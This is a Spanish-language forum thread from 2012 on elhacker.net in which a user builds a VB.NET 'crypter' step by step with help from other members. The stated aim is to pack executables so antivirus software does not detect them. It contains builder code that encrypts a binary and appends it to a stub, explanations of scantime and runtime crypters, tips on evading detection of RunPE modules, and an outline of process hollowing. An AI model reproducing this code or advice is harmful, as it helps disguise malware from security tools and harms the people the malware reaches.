Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: lessionone en 9 Abril 2012, 18:04 pm



Título: Ayuda con crypter sencillo en vb.net
Publicado por: lessionone en 9 Abril 2012, 18:04 pm
Hola buenas, antes de empezar os pido por favor algo de paciencia.
Estoy acostumbrado a escribir en vb.net y me gustaria aprender a hacer un crypter lo mas sencillo posible en vb.net
He realizado el diseño grafico con dos botones (examinar, cifrar) y un textbox. Os pongo el codigo:
Código:
Public Class Form1
Dim ventanaabrirarchivo As New OpenFileDialog
Dim original As String

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As Sytem.EventArgs) Handles BtnExaminar.Click
        ventanaabrirarchivo.ShowDialog(Me)
        TextBox1.Text = ventanaabrirarchivo.FileName
        original = Leerlosdatosdearchivo(TextBox1.Text) 'funcion mas abajo
    End Sub

    Public Function Leerlosdatosdearchivo(ByRef rutaarchivooriginal As String) As String
        Dim cadenaenblancoreserva As String
        Dim canallibre
        canallibre = FreeFile()
        FileOpen(canallibre, rutaarchivooriginal, OpenMode.Binary)
        cadenaenblancoreserva = Space(LOF(canallibre))
        FileGet(canallibre, cadenaenblancoreserva)
        FileClose(canallibre)
        Return cadenaenblancoreserva
    End Function
End Class
Ahora tengo en la variable "original" el ejecutable leido de forma binaria.
1º Deberia de leer solo un elemento del ejecutable o todo el ejecutable como lo esta haciendo?
2º Despues de esto deberia de dar la vuelta al string "original" o meterle cada 3 letras un espacio o algo para que el codigo no sea detectado?
3º Que es lo siguiente que deberia de hacer ?
Por favor ayudarme poco a poco para lograr hacer uno en vb.net muy sencillo aunque sea detectado por los antivirus.


Título: Re: Ayuda con crypter sencillo en vb.net
Publicado por: $Edu$ en 9 Abril 2012, 18:07 pm
No es tan facil como pensas.. mira.. vb.net es mas o menos parecido a vb6, asi que si te bajas codigos de crypters en vb6 podras entender mejor y tratar de "traducirlo" a .net, porque encontraras mas facil codigos en vb6 que en .net para que puedes entender como funcionan. Fijate que no es asi nomas como piensas, ya veras.


Título: Re: Ayuda con crypter sencillo en vb.net
Publicado por: lessionone en 9 Abril 2012, 18:29 pm
Gracias $Edu$ por responder tan rapido.
Ya se que no es tan facil y lo que no quiero es intentar copiar de un codigo ya echo, esto ya lo he intentado pero al final me quedo pillado.
Lo que desearia es que me dijierais, "el siguiente paso es pasar el string a una direccion de memoria" o lo que sea y yo intentar hacerlo


Título: Re: Ayuda con crypter sencillo en vb.net
Publicado por: Elemental Code en 9 Abril 2012, 19:37 pm
un crypter es asi:

El builder (Crea el archivo cifrado)

abre el binario a cifrar.
Abre el "stub" (ver mas adelante)
Cifra con algun algoritmo el binario original
Pega en un nuevo archivo el Stub + separador + binario cifrado original.


El STUB (Pedazito de programa)
Se abre a si mismo
Separa su codigo del binario cifrado (para eso es el separador que pusimos arriba)
Descifra el binario
Lo ejcuta desde memoria (Crypter RUNTIME) o bien lo escribe a un archivo y lo ejecuta (Crypter SCANTIME)


Puede variar, pero basicamente asi funcionan todos.
Suerte :)


Título: Re: Ayuda con crypter sencillo en vb.net
Publicado por: lessionone en 10 Abril 2012, 13:35 pm
1º abre el binario a cifrar.
Código:
 Dim original As String
 TextBox1.Text = ventanaabrirarchivo.FileName
 original = Leerlosdatosdearchivo(TextBox1.Text) 'funcion mas abajo
End Sub

    Public Function Leerlosdatosdearchivo(ByRef rutaarchivooriginal As String) As String
        Dim cadenaenblancoreserva As String
        Dim canallibre
        canallibre = FreeFile()
        FileOpen(canallibre, rutaarchivooriginal, OpenMode.Binary)
        cadenaenblancoreserva = Space(LOF(canallibre))
        FileGet(canallibre, cadenaenblancoreserva)
        FileClose(canallibre)
        Return cadenaenblancoreserva
    End Function
2º Abre el "stub" (ver mas adelante)
Código:
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default) 'ABRE EL EJECUTABLE LLAMADO STUB.EXE EN LA MISMA RUTA QUE EL EJECUTABLE ABIERTO ANTERIORMENTE
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)
        Return stub
3º Cifra con algun algoritmo el binario original
Código:
 FileOpen(1,rutaarchivooriginal,OpenMode.Binary,OpenAccess.ReadWrite,OpenShare.Default)
 FilePut(1, rc4(original))
 FileClose(1)
'AHORA EL ALGORITMO
Public Function rc4(ByVal binarioarchivoriginal As String) As String 'algoritmo a cifrar el original
        Dim password As String = "yo"
        Dim i As Integer = 0
        Dim j As Integer = 0
        .....
     
4ºPega en un nuevo archivo el Stub + separador + binario cifrado original.
Código:
Dim rutadelarchivonuevo As String = botonencryptar() 'DENTRO DEL EVENTO CLICK AL BOTON cifrar
Private Function botonencryptar()
        Dim x As New SaveFileDialog
        Dim rutadelarchivonuevo As String = ""
        If x.ShowDialog = Windows.Forms.DialogResult.OK Then
            rutadelarchivonuevo = x.FileName
        End If
        Return rutadelarchivonuevo
End Function
Private Sub creararchivonuevo(ByVal rutadelarchivonuevo As String)
        FileOpen(1, rutadelarchivonuevo, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
                FilePut(1, stub & "atomarvientos" & original)
        FileClose(1)
End Sub
De momento a ver si he echo bien el Builder. Si esta bien echo pues entonces lo escribo bien con sus llamadas a sus procedimientos y bien ordenado.
Yo estoy dispuesto a intentar hacerlo, pero siempre me falla que copio codigo de otros y me lio o que me pongo a leer documentos que acabo por perderme, asi que creo que esta es la mejor opcion, el ir poco a poco y por eso pido ayuda, para que me corrigais si me equivoco en los pasos a seguir. Graciassss


Título: Re: Ayuda con crypter sencillo en vb.net
Publicado por: lessionone en 11 Abril 2012, 11:19 am
Bueno como veo que nadie me contesta pues me he puesto a ordenar el codigo y aqui lo suelto para ver si alguien me dice al menos un "si esta bien echo" o un "no esta bien echo"
Código:
Public Class Form1   
   
    Dim original As String
    Dim originalencriptado As String
    Dim lecturastub As String
     
   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnExaminar.Click
        'abrimos el cuadro de dialogo para seleccionar el archivo nuevo
         Dim ventanaabrirarchivo As New OpenFileDialog
         ventanaabrirarchivo.ShowDialog(Me)
         TextBox1.Text = ventanaabrirarchivo.FileName
         original = Leerlosdatosdearchivo(TextBox1.Text) ' LA VARIABLE ORIGINAL  TENDRA EL ARCHIVO BINARIO DEL ARCHIVO ORIGINAL
         originalencriptado = xEncryption(original, "batidora") 'funcion para encryptar el original
    End Sub

' LEEMOS EL ARCHIVO ORIGINAL Y LO DEVOLVEMOS EN LA VARIABLE CADENAENBLANCORESERVA
 Public Function Leerlosdatosdearchivo(ByRef rutaarchivooriginal As String) As String
        Dim cadenaarellenar As String
        Dim canallibre As Integer

        canallibre = FreeFile()
        FileOpen(canallibre, rutaarchivooriginal, OpenMode.Binary)
        cadenaarellenar = Space(LOF(canallibre))
        FileGet(canallibre, cadenaarellenar)
        FileClose(canallibre)
        Return cadenaarellenar
 End Function[/color]   
 
'CIFRAR CON ALGORITMO EL BINARIO ORIGINAL
  Public Function xEncryption(ByVal archivooriginal As String, ByVal batidora As String) As String
        Dim lonDataPtr As Long
        Dim strDataOut As String
        Dim temp As Integer
        Dim tempstring As String
        Dim intXOrValue1 As Integer
        Dim intXOrValue2 As Integer
        For lonDataPtr = 1 To Len(batidora)
            intXOrValue1 = Asc(Mid$(batidora, lonDataPtr, 1))
            intXOrValue2 = Asc(Mid$(archivooriginal, ((lonDataPtr Mod Len(archivooriginal)) + 1), 1))
            temp = (intXOrValue1 Xor intXOrValue2)
            tempstring = Hex(temp)
            If Len(tempstring) = 1 Then tempstring = "0" & tempstring
            strDataOut = strDataOut + tempstring
        Next lonDataPtr
        xEncryption = strDataOut
    End Function

    'LEEMOS LOS DATOS DEL STUB Y LOS GUARDAMOS EN LA VARIABLE LECTURASTUB
   Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        FileOpen(1, "C:\Users\Administrador\Desktop\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        lecturastub = Space(LOF(1))
        FileGet(1, lecturastub)
        FileClose(1)
    End Sub   

 ' CREA UN NUEVO ARCHIVO CON LOS DATOS DEL STUB + SEPARADOR + ORIGINAL CIFRADO
 Private Sub BtnEncriptar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnEncriptar.Click

        'funcion para abrir cuadro de texto para guardar archivo
        Dim rutadelarchivonuevo As String = guardararchivo(rutadelarchivonuevo)
        ' ahora el pastel
        FileOpen(1, rutadelarchivonuevo, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, lecturastub & "atomarvientos" & originalencriptado)
        FileClose(1)
        MsgBox("Realizado")
  End Sub

    'FUNCION PARA GUARDAR UN ARCHIVO NUEVO QUE DEVUELVE LA RUTA DEL ARCHIVO NUEVO
 Private Function guardararchivo(ByVal rutadelarchivonuevo As String) As String
        Dim x As New SaveFileDialog
        If x.ShowDialog = Windows.Forms.DialogResult.OK Then
            rutadelarchivonuevo = x.FileName
        End If
        Return rutadelarchivonuevo
   End Function

End Class
Si hicierais el favor de darme el visto bueno para poder meterme con el stub o corregir....


Título: Re: Ayuda con crypter sencillo en vb.net
Publicado por: Elemental Code en 11 Abril 2012, 12:31 pm
pareceria estar bien.

arma tu stub, y probalo
si falla anda viendo.


Título: Re: Ayuda con crypter sencillo en vb.net
Publicado por: Karcrack en 11 Abril 2012, 13:18 pm
No puedes pretender hacer un crypter uniendo códigos que te dé la gente. Comprende la lógica de un crypter y sabiendo programar podrás hacer tú uno desde cero.


Título: Re: Ayuda con crypter sencillo en vb.net
Publicado por: lessionone en 11 Abril 2012, 14:49 pm
Gracias Elemental Code por echarle una ojeada y darme tu visto bueno.
Probare con un stub ya quemado y si funciona lo estudio
No puedes pretender hacer un crypter uniendo códigos que te dé la gente. Comprende la lógica de un crypter y sabiendo programar podrás hacer tú uno desde cero.
Perdona Karcrack pero yo no estoy copiando codigos, lo unico que he copiado es la funcion del algoritmo, es mas, estoy intentando desde el principio hacer lo que dices, comprender la lógica de un crypter, por eso pido que me echeis un ojo a lo que voy haciendo.
No se en que lugar te ha podido llegar a entender que quiero mirar codigos y copiar ejemplos, pero si es asi perdona y digo que mi intencion es comprenderlo y hacer el maximo codigo posible de mi parte.
Otra cosa es que mire ejemplos y la estructura sea mas o menos igual pero vamos que lo hago porque no soy una maquina, de todas formas lo que veo en los ejemplos lo voy estudiando o intentando comprenderlo.


Título: Re: Ayuda con crypter sencillo en vb.net
Publicado por: $Edu$ en 11 Abril 2012, 17:22 pm
Como que probaras con un stub ya quemado? el stub tenes q crearlo tambien, es el q se encargara de separar ahora el binario con usando tu mismo separador y desencriptarlo para luego ejecutar


Título: Re: Ayuda con crypter sencillo en vb.net
Publicado por: Elemental Code en 12 Abril 2012, 04:39 am
el crypter tiene que ser hecho por vos

Tiene que usar tu separador, y un algoritmo que desencripte el codigo correspondiente a TU algoritmo :S


Título: Re: Ayuda con crypter sencillo en vb.net
Publicado por: lessionone en 12 Abril 2012, 13:32 pm
Los algoritmos son detectadas por los av's, osea me explico.
Rc4, Xor,... al ponerlos en el cliente del crypter ¿son detectadas las funciones de estos algoritmos por los antivirus?


Título: Re: Ayuda con crypter sencillo en vb.net
Publicado por: Elemental Code en 13 Abril 2012, 11:56 am
No, es muuuuuuuuuy raro.

Lo mas "Detectado" por asi decirlo son los modulos de ejecucion en memoria. Los famosisimos RUNPE.
Si copias uno que ande dando vueltas por ahi, seguramente seras detectado.
Si escribes uno desde 0, quizas te valla mejor ;)


Título: Re: Ayuda con crypter sencillo en vb.net
Publicado por: lessionone en 19 Abril 2012, 10:07 am
ok, conseguido hacer el crypter scantime y lo mas importante de todo es que lo entiendo a la perfeccion incluido la funcion que utilizo para encriptarlo.
Ahora que me doy cuenta es muy sencillo pero me falta el ultimo paso que es el mas complicado sin duda, el runpe.
Ya he estado mirando post sobre lectura y escritura en memoria, y he estado mirando runpe ya hechos de los cuales no me entero de nada pero en fin.
Creo que lo mejor es hacer como he echo con el scantime, mirar pequeños fragmentos de ejemplo y ponerme a escribir yo mi codigo.
Con pequeños fragmentos de ejemplos me refiero a primero hacer esto, luego esto y asi poco a poco.
El pdf de Formato PE de Swash estoy leyendolo.
Veo que para realizar un runpe he de hacer lo siguiente:(Visto a muy grandes rasgos, luego cuando me ponga ire sacando ImageBase,registros, ...)
1º Se crea un nuevo proceso en estado suspendido
2º Se reserva espacio en la memoria con ReadProcessMemory
3º Se escribe el codigo ya descifrado en la memoria con WriteProcessMemory
4º Se inicia el proceso creado en el paso 1.
Si todo esto es asi y nadie me corrige me pongo con el paso 1º.
Gracias a tod@s por las contestaciones y por no decirme que es muy dificil y que lo deje. Poco a poco y con ganas y tiempo creo q puedo aprender a hacerlo.


Título: Re: Ayuda con crypter sencillo en vb.net
Publicado por: tigre2013 en 10 Enero 2013, 02:32 am
Hola,

Saludos.

He estado leyendo lo que tratas de hacer y es lo mismo que yo quiero lograr, hacer mi propio crypter, queria saber si lograste hacerlo, para que me ayudes, lo que me interesa es conocer los paso basicos y el orden logico de un crypter sencillo, aunque quemado, para tenerlo como base para hacer los mios propios.

He buscado mucha informacion pero nada es entendible para alguien que quiere comenzar en este campo. te agradeceria cualquier ayuda.

Gracias. javascript:void(0);:huh: :huh: